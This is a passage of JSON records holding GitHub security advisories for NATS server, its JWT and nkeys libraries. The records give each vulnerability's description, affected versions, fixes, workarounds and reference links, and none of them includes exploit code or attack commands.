account in the \"accounts\" block\n\n\n## Credits\n\nProblem reported by Alex Herrington.  \nAddressed publicly in a GitHub Discussion prior to this advisory.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-19T16:13:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-fr2g-9hjm-wr23","https://github.com/nats-io/nats-server/pull/4605","https://github.com/nats-io/nats-server/commit/fa5b7afcb64e7e887e49afdd032358802b5c4478","https://advisories.nats.io/CVE/secnote-2023-01.txt","https://github.com/nats-io/nats-server/discussions/4535","https://github.com/nats-io/nats-server/releases/tag/v2.10.2","https://github.com/nats-io/nats-server/releases/tag/v2.9.23","https://github.com/advisories/GHSA-fr2g-9hjm-wr23"],"source_kind":"github","identifiers":["GHSA-fr2g-9hjm-wr23","CVE-2023-47090"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.10.2","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.2"},{"first_patched_version":"2.9.23","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.9.23"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2023-10-19T17:06:05.878Z","updated_at":"2023-10-31T22:24:59.000Z","epss_percentage":0.00259,"epss_percentile":0.49025},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhtbTktcjJtMi1xZzl3","url":"https://github.com/advisories/GHSA-hmm9-r2m2-qg9w","title":"Nil dereference in NATS JWT causing DoS of nats-server","description":"(This advisory is canonically \u003chttps://advisories.nats.io/CVE/CVE-2020-26521.txt\u003e)\n\n## Problem Description\n\nThe NATS account system has an Operator trusted by the servers, which signs Accounts, and each Account can then create and sign Users within their account.  The Operator should be able to safely issue Accounts to other entities which it does not fully trust.\n\nA malicious Account could create and sign a User JWT with a state not created by the normal tooling, such that decoding by the NATS JWT library (written in Go) would attempt a nil dereference, aborting execution.\n\nThe NATS Server is known to be impacted by this.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 1.1.0\n\n#### NATS Server\n\n * Version 2 prior to 2.1.9\n\n\n## Impact\n\n#### JWT library\n\n * Programs would nil dereference and panic, aborting execution by default.\n\n#### NATS server\n\n * Denial of Service caused by process termination\n\n\n## Workaround\n\nIf your NATS servers do not trust any accounts which are managed by untrusted entities, then malformed User credentials are unlikely to be encountered.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-05-21T16:22:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-hmm9-r2m2-qg9w","https://nvd.nist.gov/vuln/detail/CVE-2020-26521","https://github.com/nats-io/jwt/pull/107","https://advisories.nats.io/CVE/CVE-2020-26521.txt","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VT67XCLIIBYRT762SVFBYFFTQFVSM3SI/","https://www.openwall.com/lists/oss-security/2020/11/02/2","https://github.com/advisories/GHSA-hmm9-r2m2-qg9w"],"source_kind":"github","identifiers":["GHSA-hmm9-r2m2-qg9w"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.1.0","vulnerable_version_range":"\u003c 1.1.0"}],"ecosystem":"go","package_name":"github.com/nats-io/jwt"},{"versions":[{"first_patched_version":"2.1.9","vulnerable_version_range":"\u003c 2.1.9"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2022-12-21T16:13:01.391Z","updated_at":"2023-08-30T18:06:49.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS0yaDJ4LThoaDItbWZxOM4AA90Q","url":"https://github.com/advisories/GHSA-2h2x-8hh2-mfq8","title":"NATS Server and Streaming Server fails to enforce negative user permissions, may allow denied subjects","description":"NATS.io NATS Server before 2.8.2 and Streaming Server before 0.24.6 could allow a remote attacker to bypass security restrictions, caused by the failure to enforce negative user permissions in one scenario. By using a queue subscription on the wildcard, an attacker could exploit this vulnerability to allow denied subjects.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-07-11T21:31:12.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-29946","https://github.com/nats-io/advisories/blob/main/CVE/CVE-2022-29946.txt","https://github.com/advisories/GHSA-2h2x-8hh2-mfq8"],"source_kind":"github","identifiers":["GHSA-2h2x-8hh2-mfq8","CVE-2022-29946"],"repository_url":"https://github.com/nats-io/advisories","blast_radius":31.211033367961484,"packages":[{"versions":[{"first_patched_version":"0.24.6","vulnerable_version_range":"\u003c 0.24.6"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-streaming-server"},{"versions":[{"first_patched_version":"2.8.2","vulnerable_version_range":"\u003c 2.8.2"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2024-07-12T15:05:37.912Z","updated_at":"2024-10-30T18:50:04.000Z","epss_percentage":0.00185,"epss_percentile":0.40881},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTJjNjQtdmo4Zy12d3Jx","url":"https://github.com/advisories/GHSA-2c64-vj8g-vwrq","title":"Incorrect handling of credential expiry by /nats-io/nats-server","description":"(This advisory is canonically https://advisories.nats.io/CVE/CVE-2020-26892.txt )\n\n## Problem Description\n\nNATS nats-server through 2020-10-07 has Incorrect Access Control because of how expired credentials are handled.\n\nThe NATS accounts system has expiration timestamps on credentials; the \u003chttps://github.com/nats-io/jwt\u003e library had an API which encouraged misuse and an `IsRevoked()` method which misused its own API.\n\nA new `IsClaimRevoked()` method has correct handling and the nats-server has been updated to use this.  The old `IsRevoked()` method now always returns true and other client code will have to be updated to avoid calling it.\n\nThe CVE identifier should cover any application using the old JWT API, where the nats-server is one of those applications.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 1.1.0\n * fixed after nats-io/jwt PR 103 landed (2020-10-06)\n\n#### NATS Server\n\n * Version 2 prior to 2.1.9\n   + 2.0.0 through and including 2.1.8 are vulnerable.\n * fixed with nats-io/nats-server PRs 1632, 1635, 1645\n\n\n## Impact\n\nTime-based credential expiry did not work.\n\n\n## Workaround\n\nHave credentials which only expire after fixes can be deployed.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-05-21T16:11:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-2c64-vj8g-vwrq","https://github.com/nats-io/jwt/commit/e11ce317263cef69619fc1ca743b195d02aa1d8a","https://advisories.nats.io/CVE/CVE-2020-26892.txt","https://github.com/advisories/GHSA-2c64-vj8g-vwrq"],"source_kind":"github","identifiers":["GHSA-2c64-vj8g-vwrq"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.1.0","vulnerable_version_range":"\u003c 1.1.0"}],"ecosystem":"go","package_name":"github.com/nats-io/jwt"},{"versions":[{"first_patched_version":"2.1.9","vulnerable_version_range":"\u003c 2.1.9"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2022-12-21T16:13:01.399Z","updated_at":"2023-08-29T22:08:20.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS02aDNtLTM2dzgtaHY2OM0xNA","url":"https://github.com/advisories/GHSA-6h3m-36w8-hv68","title":"Arbitrary file write in nats-server","description":"(This document is canonically: \u003chttps://advisories.nats.io/CVE/CVE-2022-26652.txt\u003e)\n\n## Background\n\nNATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.\n\nJetStream is the optional RAFT-based resilient persistent feature of NATS.\n\n\n## Problem Description\n\nThe JetStream streams can be backed up and restored via NATS. The backup format is a tar archive file.  Inadequate checks on the filenames within the archive file permit a so-called \"Zip Slip\" attack in the stream restore.\n\nNATS nats-server through 2022-03-09 (fixed in release 2.7.4) did not correctly sanitize elements of the archive file, thus a user of NATS\ncould cause the NATS server to write arbitrary content to an attacker-controlled filename.\n\n\n## Affected versions\n\nNATS Server:\n * 2.2.0 up to and including 2.7.3.\n   + Introduced with JetStream Restore functionality\n * Fixed with nats-io/nats-server: 2.7.4\n * Docker image:  nats \u003chttps://hub.docker.com/_/nats\u003e\n * NB users of OS package files from our releases: a change in goreleaser defaults, discovered late in the release process, moved the install directory from /usr/local/bin to /usr/bin; we are evaluating the correct solution for subsequent releases, but not recutting this release.\n\nNATS Streaming Server\n * 0.15.0 up to and including 0.24.2\n * Fixed with nats-io/nats-streaming-server: 0.24.3\n * Embeds a nats-server, but this server is the old approach which JetStream replaces, so unlikely (but not impossible) to be\n   configured with JS support\n\n\n## Workarounds\n\n * Disable JetStream for untrusted users.\n * If only one NATS account uses JetStream, such that cross-user attacks are not an issue, and any user in that account with access to the JetStream API is fully trusted anyway, then appropriate sandboxing techniques will prevent exploit.\n   + Eg, with systemd, the supplied util/nats-server-hardened.service example configuration demonstrates that NATS runs fine as an unprivileged user under ProtectSystem=strict and PrivateTmp=true restrictions; by only opening a ReadWritePaths hole for the JetStream storage area, the impact of this vulnerability is limited.\n\n\n## Solution\n\nUpgrade the NATS server to at least 2.7.4.\n\nWe fully support the util/nats-server-hardened.service configuration for running a NATS server and encourage this approach.\n\n\n## Credits\n\nThis issue was reported (on 2022-03-07) to the NATS Maintainers by\nYiming Xiang, TIANJI LAB of NSFOCUS.  \nThank you / 谢谢你！\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-03-10T22:07:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-6h3m-36w8-hv68","https://github.com/nats-io/nats-server/pull/2917","https://github.com/nats-io/nats-server/releases/tag/v2.7.4","https://github.com/nats-io/nats-streaming-server/releases/tag/v0.24.3","https://nvd.nist.gov/vuln/detail/CVE-2022-26652","https://advisories.nats.io/CVE/CVE-2022-26652.txt","https://github.com/nats-io/nats-server/releases","http://www.openwall.com/lists/oss-security/2022/03/10/1","https://github.com/advisories/GHSA-6h3m-36w8-hv68"],"source_kind":"github","identifiers":["GHSA-6h3m-36w8-hv68","CVE-2022-26652"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"0.24.3","vulnerable_version_range":"\u003e= 0.15.0, \u003c 0.24.3"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-streaming-server"},{"versions":[{"first_patched_version":"2.7.4","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.7.4"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2022-12-21T16:12:33.813Z","updated_at":"2023-02-03T05:06:49.000Z","epss_percentage":0.00931,"epss_percentile":0.74937},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWgyZmctNTR4OS01cWhx","url":"https://github.com/advisories/GHSA-h2fg-54x9-5qhq","title":"Nil dereference in NATS JWT, DoS of nats-server","description":"## Problem Description\n\nThe NATS account system has an Operator trusted by the servers, which signs Accounts, and each Account can then create and sign Users within their account.  The Operator should be able to safely issue Accounts to other entities which it does not fully trust.\n\nA malicious Account could create and sign a User JWT with a state not created by the normal tooling, such that decoding by the NATS JWT library (written in Go) would attempt a nil dereference, aborting execution.\n\nThe NATS Server is known to be impacted by this.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 1.1.0\n\n#### NATS Server\n\n * Version 2 prior to 2.1.9\n\n\n## Impact\n\n#### JWT library\n\n * Programs would nil dereference and panic, aborting execution by default.\n\n#### NATS server\n\n * Denial of Service caused by process termination\n\n\n## Workaround\n\nIf your NATS servers do not trust any accounts which are managed by untrusted entities, then malformed User credentials are unlikely to be encountered.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-11T23:43:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/jwt/security/advisories/GHSA-h2fg-54x9-5qhq","https://nvd.nist.gov/vuln/detail/CVE-2020-26521","https://github.com/nats-io/nats-server/commit/9ff8bcde2e46009e98bd9e88f598af355f62c168","https://advisories.nats.io/CVE/CVE-2020-26521.txt","https://github.com/nats-io/nats-server/commits/master","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VT67XCLIIBYRT762SVFBYFFTQFVSM3SI/","http://www.openwall.com/lists/oss-security/2020/11/02/2","https://github.com/nats-io/jwt/pull/107","https://pkg.go.dev/vuln/GO-2022-0402","https://github.com/advisories/GHSA-h2fg-54x9-5qhq"],"source_kind":"github","identifiers":["GHSA-h2fg-54x9-5qhq","CVE-2020-26521"],"repository_url":"https://github.com/nats-io/jwt","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.1.9","vulnerable_version_range":"\u003c 2.1.9"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"},{"versions":[{"first_patched_version":"1.1.0","vulnerable_version_range":"\u003c 1.1.0"}],"ecosystem":"go","package_name":"github.com/nats-io/jwt"}],"created_at":"2022-12-21T16:12:35.871Z","updated_at":"2025-05-23T01:12:44.690Z","epss_percentage":0.00682,"epss_percentile":0.70514},{"uuid":"GSA_kwCzR0hTQS1tcjQ1LXJ4OHEtd2NtOc4AA207","url":"https://github.com/advisories/GHSA-mr45-rx8q-wcm9","title":"xkeys seal encryption used fixed key for all encryption","description":"## Background\n\nNATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.\n\nThe cryptographic key handling library, nkeys, recently gained support for encryption, not just for signing/authentication.  This is used in nats-server 2.10 (Sep 2023) and newer for authentication callouts.\n\n## Problem Description\n\nThe nkeys library's \"xkeys\" encryption handling logic mistakenly passed an array by value into an internal function, where the function mutated that buffer to populate the encryption key to use.  As a result, all encryption was actually to an all-zeros key.\n\nThis affects encryption only, not signing.  \nFIXME: FILL IN IMPACT ON NATS-SERVER AUTH CALLOUT SECURITY.\n\n## Affected versions\n\nnkeys Go library:\n * 0.4.0 up to and including 0.4.5\n * Fixed with nats-io/nkeys: 0.4.6\n\nNATS Server:\n * 2.10.0 up to and including 2.10.3\n * Fixed with nats-io/nats-server: 2.10.4\n\n## Solution\n\nUpgrade the nats-server.  \nFor any application handling auth callouts in Go, if using the nkeys library, update the dependency, recompile and deploy that in lockstep.\n\n## Credits\n\nProblem reported by Quentin Matillat (GitHub @tinou98).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-10-31T21:19:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nkeys/security/advisories/GHSA-mr45-rx8q-wcm9","https://nvd.nist.gov/vuln/detail/CVE-2023-46129","http://www.openwall.com/lists/oss-security/2023/10/31/1","https://github.com/nats-io/nkeys/commit/58fb9d69f42ea73fffad1d14e5914dc666f3daa1","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R3UETKPUB3V5JS5TLZOF3SMTGT5K5APS/","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULQQONMSCQSH5Z5OWFFQHCGEZ3NL4DRJ/","https://github.com/advisories/GHSA-mr45-rx8q-wcm9"],"source_kind":"github","identifiers":["GHSA-mr45-rx8q-wcm9","CVE-2023-46129"],"repository_url":"https://github.com/nats-io/nkeys","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.10.4","vulnerable_version_range":"\u003e= 2.10.0, \u003c= 2.10.3"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"},{"versions":[{"first_patched_version":"0.4.6","vulnerable_version_range":"\u003e= 0.4.0, \u003c= 0.4.5"}],"ecosystem":"go","package_name":"github.com/nats-io/nkeys"}],"created_at":"2023-10-31T22:05:51.403Z","updated_at":"2023-12-07T05:06:07.000Z","epss_percentage":0.00121,"epss_percentile":0.32303},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTlyNXgtZmp2My1xNmg0","url":"https://github.com/advisories/GHSA-9r5x-fjv3-q6h4","title":"Duplicate Advisory: Incorrect Access Control in github.com/nats-io/jwt and github.com/nats-io/nats-server/v2","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-62mh-w5cv-p88c (for github.com/nats-io/jwt) and GHSA-j756-f273-xhp4 (for github.com/nats-io/nats-server). This link is maintained to preserve external references.\n\n## Original Description\nNATS Server (github.com/nats-io/nats-server/v2/server) 2.x before 2.2.0 and JWT library (github.com/nats-io/jwt/v2) before 2.0.1 have Incorrect Access Control because Import Token bindings are mishandled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-15T01:57:18.000Z","withdrawn_at":"2024-05-21T14:35:21.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3127","https://github.com/nats-io/jwt/pull/149/commits/a826c77dc9d2671c961b75ceefdb439c41029866","https://github.com/nats-io/nats-server/commit/423b79440c80c863de9f4e20548504e6c5d5e403","https://advisories.nats.io/CVE/CVE-2021-3127.txt","https://github.com/nats-io/jwt/pull/149","https://github.com/advisories/GHSA-9r5x-fjv3-q6h4"],"source_kind":"github","identifiers":["GHSA-9r5x-fjv3-q6h4"],"repository_url":"https://github.com/nats-io/jwt","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"1.2.3-0.20210314221642-a826c77dc9d2","vulnerable_version_range":"\u003c 1.2.3-0.20210314221642-a826c77dc9d2"}],"ecosystem":"go","package_name":"github.com/nats-io/jwt"},{"versions":[{"first_patched_version":"2.2.0","vulnerable_version_range":"\u003c 2.2.0"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"},{"versions":[{"first_patched_version":"2.0.1","vulnerable_version_range":"\u003c 2.0.1"}],"ecosystem":"go","package_name":"github.com/nats-io/jwt/v2"}],"created_at":"2022-12-21T16:13:04.172Z","updated_at":"2024-05-21T14:35:22.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS00ZnJ2LTVmajYtNHAyNc4AA2yh","url":"https://github.com/advisories/GHSA-4frv-5fj6-4p25","title":"Duplicate Advisory: NATS.io: Adding accounts for just the system account adds auth bypass","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-fr2g-9hjm-wr23. This link is maintained to preserve external references.\n\n## Original Description\nNATS nats-server before 2.9.23 and 2.10.x before 2.10.2 has an authentication bypass. An implicit $G user in an authorization block can sometimes be used for unauthenticated access, even when the intention of the configuration was for each user to have an account. The earliest affected version is 2.2.0.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-10-30T18:30:25.000Z","withdrawn_at":"2023-10-31T22:24:21.000Z","classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-fr2g-9hjm-wr23","https://nvd.nist.gov/vuln/detail/CVE-2023-47090","https://www.openwall.com/lists/oss-security/2023/10/13/2","http://www.openwall.com/lists/oss-security/2023/10/30/1","https://github.com/advisories/GHSA-4frv-5fj6-4p25"],"source_kind":"github","identifiers":["GHSA-4frv-5fj6-4p25"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.10.2","vulnerable_version_range":"\u003e= 2.10.0, \u003c 2.10.2"},{"first_patched_version":"2.9.23","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.9.23"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2023-10-31T23:05:49.700Z","updated_at":"2023-11-09T05:04:32.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWd3ajUtM3ZmcS1xOTky","url":"https://github.com/advisories/GHSA-gwj5-3vfq-q992","title":"Import loops in account imports, nats-server DoS","description":"(This advisory is canonically \u003chttps://advisories.nats.io/CVE/CVE-2020-28466.txt\u003e)\n\n## Problem Description\n\nAn export/import cycle between accounts could crash the nats-server, after consuming CPU and memory.\n\nThis issue was fixed publicly in \u003chttps://github.com/nats-io/nats-server/pull/1731\u003e in November 2020.\n\nThe need to call this out as a security issue was highlighted by `snyk.io` and we are grateful for their assistance in doing so.\n\nOrganizations which run a NATS service providing access to accounts run by untrusted third parties are affected.\nSee below for an important caveat if running such a service.\n\n\n## Affected versions\n\n#### NATS Server\n\n * Version 2 prior to 2.2.0\n   + 2.0.0 through and including 2.1.9 are vulnerable.\n * fixed with nats-io/nats-server PR 1731, commit 2e3c226729\n\n\n## Impact\n\nThe nats-server could be killed, after consuming resources.\n\n\n## Workaround\n\nThe import cycle requires at least two accounts to work; if you have open account sign-up, then restricting new account sign-up might hinder an attacker.\n\n\n## Solution\n\nUpgrade the nats-server.\n\n\n## Caveat on NATS with untrusted users\n\nRunning a NATS service which is exposed to untrusted users presents a heightened risk.\n\nAny remote execution flaw or equivalent seriousness, or denial-of-service by unauthenticated users, will lead to prompt releases by the NATS maintainers.\n\nFixes for denial of service issues with no threat of remote execution, when limited to account holders, are likely to just be committed to the main development branch with no special attention.\n\nThose who are running such services are encouraged to build regularly from git.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T16:22:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-gwj5-3vfq-q992","https://github.com/advisories/GHSA-gwj5-3vfq-q992"],"source_kind":"github","identifiers":["GHSA-gwj5-3vfq-q992"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.2.0","vulnerable_version_range":"\u003c 2.2.0"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2022-12-21T16:13:01.382Z","updated_at":"2023-01-09T05:04:48.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo3NTYtZjI3My14aHA0","url":"https://github.com/advisories/GHSA-j756-f273-xhp4","title":"github.com/nats-io/nats-server Import token permissions checking not enforced","description":"(This advisory is canonically \u003chttps://advisories.nats.io/CVE/CVE-2021-3127.txt\u003e)\n\n## Problem Description\n\nThe NATS server provides for Subjects which are namespaced by Account; all Subjects are supposed to be private to an account, with an Export/Import system used to grant cross-account access to some Subjects.  Some Exports are public, such that anyone can import the relevant subjects, and some Exports are private, such that the Import requires a token JWT to prove permission.\n\nThe JWT library's validation of the bindings in the Import Token incorrectly warned on mismatches, instead of outright rejecting the token.\n\nAs a result, any account can take an Import token used by any other account and re-use it for themselves because the binding to the importing account is not rejected, and use it to import *any* Subject from the Exporting account, not just the Subject referenced in the Import Token.\n\nThe NATS account-server system treats account JWTs as semi-public information, such that an attacker can easily enumerate all account JWTs and retrieve all Import Tokens from those account JWTs.\n\nThe CVE identifier should cover the JWT library repair and the nats-server containing the fixed JWT library, and any other application depending upon the fixed JWT library.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 2.0.1\n * fixed after nats-io/jwt#149 landed (2021-03-14)\n\n#### NATS Server\n\n * Version 2 prior to 2.2.0\n   + 2.0.0 through and including 2.1.9 are vulnerable\n * fixed with nats-io/nats-server@423b79440c (2021-03-14)\n\n\n## Impact\n\nIn deployments with untrusted accounts able to update the Account Server with imports, a malicious account can access any Subject from an account which provides Exported Subjects.\n\nAbuse of this facility requires the malicious actor to upload their tampered Account JWT to the Account Server, providing the service operator with a data-store which can be scanned for signs of abuse.\n\n\n## Workaround\n\nDeny access to clients to update their account JWT in the account server.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts (with private Exports; Account owners can create those at any time though).\n\nAudit all accounts JWTs to scan for exploit attempts; a Python script to audit the accounts can be found at \u003chttps://gist.github.com/philpennock/09d49524ad98043ff11d8a40c2bb0d5a\u003e.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-05-21T16:22:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-j756-f273-xhp4","https://nvd.nist.gov/vuln/detail/CVE-2021-3127","https://advisories.nats.io/CVE/CVE-2021-3127.txt","https://github.com/nats-io/jwt/security/advisories/GHSA-62mh-w5cv-p88c","https://github.com/nats-io/nats-server/commit/423b79440c80c863de9f4e20548504e6c5d5e403","https://github.com/advisories/GHSA-j756-f273-xhp4"],"source_kind":"github","identifiers":["GHSA-j756-f273-xhp4"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.2.0","vulnerable_version_range":"\u003c 2.2.0"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2022-12-21T16:13:01.374Z","updated_at":"2024-05-21T15:22:52.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"GSA_kwCzR0hTQS1nNnc2LXI3NmMtMjhqN80psA","url":"https://github.com/advisories/GHSA-g6w6-r76c-28j7","title":"Incorrect Authorization in NATS nats-server","description":"(This advisory is canonically \u003chttps://advisories.nats.io/CVE/CVE-2022-24450.txt\u003e)\n\n## Problem Description\n\nNATS nats-server through 2022-02-04 has Incorrect Access Control, with unchecked ability for clients to authorize into any account, because of a coding error in a long-extant experimental feature.\n\nA client crafting the initial protocol-level handshake could, with valid credentials for any account, specify a target account and switch into it immediately.  This includes any other tenant, and includes the System account which controls nats-server core operations.\n\nFor deployments not using multi-tenancy through NATS Accounts, there is still a vulnerability: normal users are able to choose to be in the System account.\n\nAn experimental feature to provide dynamically provisioned sandbox accounts was designed to allow a server administrator to turn on an option to allow clients to dynamically request a brand new account inline at connection time.  This feature went nowhere, but lived on in the code and was used by a number of tests; support was never added to any client libraries or to the documentation.\n\nA bug in handling the feature meant that if someone did in fact have valid account credentials, then they could specify any other existing account and they would be assigned into that account.\n\nRelease 2.7.2 of nats-server removes the feature.\nBecause of the lack of client support and absence from protocol documentation, we feel this is safe operationally as well as the safest fix for the code.\n\n\n## Affected versions\n\n#### NATS Server\n * All 2.x versions up to and including 2.7.1.\n * Fixed with nats-io/nats-server: 2.7.2\n * NATS Server 1.x did not have accounts.\n * Docker image:  nats \u003chttps://hub.docker.com/_/nats\u003e\n\n#### NATS Streaming Server\n * All versions embedding affected NATS Server:\n   + Affected: v0.15.0 up to and including v0.24.0\n   + Fixed with nats-io/nats-streaming-server: 0.24.1\n * Docker image:  nats-streaming \u003chttps://hub.docker.com/_/nats-streaming\u003e\n\n\n## Impact\n\nExisting users could act in any account, including the System account.\n\n## Workaround\n\nNone.\n\n## Solution\n\nUpgrade the NATS server.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-08T17:23:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-g6w6-r76c-28j7","https://nvd.nist.gov/vuln/detail/CVE-2022-24450","https://advisories.nats.io/CVE/CVE-2022-24450.txt","https://github.com/nats-io/nats-server/releases/tag/v2.7.2","https://github.com/advisories/GHSA-g6w6-r76c-28j7"],"source_kind":"github","identifiers":["GHSA-g6w6-r76c-28j7","CVE-2022-24450"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.7.2"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"},{"versions":[{"first_patched_version":"0.24.1","vulnerable_version_range":"\u003e= 0.15.0, \u003c 0.24.1"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-streaming-server"}],"created_at":"2022-12-21T16:12:36.361Z","updated_at":"2023-08-17T05:02:41.000Z","epss_percentage":0.00298,"epss_percentile":0.52519},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW00angtNjUyNi12dmht","url":"https://github.com/advisories/GHSA-m4jx-6526-vvhm","title":"Denial of service in github.com/nats-io/nats-server/server","description":"This affects all versions of package github.com/nats-io/nats-server/server. Untrusted accounts are able to crash the server using configs that represent a service export/import cycles. Disclaimer from the maintainers - Running a NATS service which is exposed to untrusted users presents a heightened risk. Any remote execution flaw or equivalent seriousness, or denial-of-service by unauthenticated users, will lead to prompt releases by the NATS maintainers. Fixes for denial of service issues with no threat of remote execution, when limited to account holders, are likely to just be committed to the main development branch with no special attention. Those who are running such services are encouraged to build regularly from 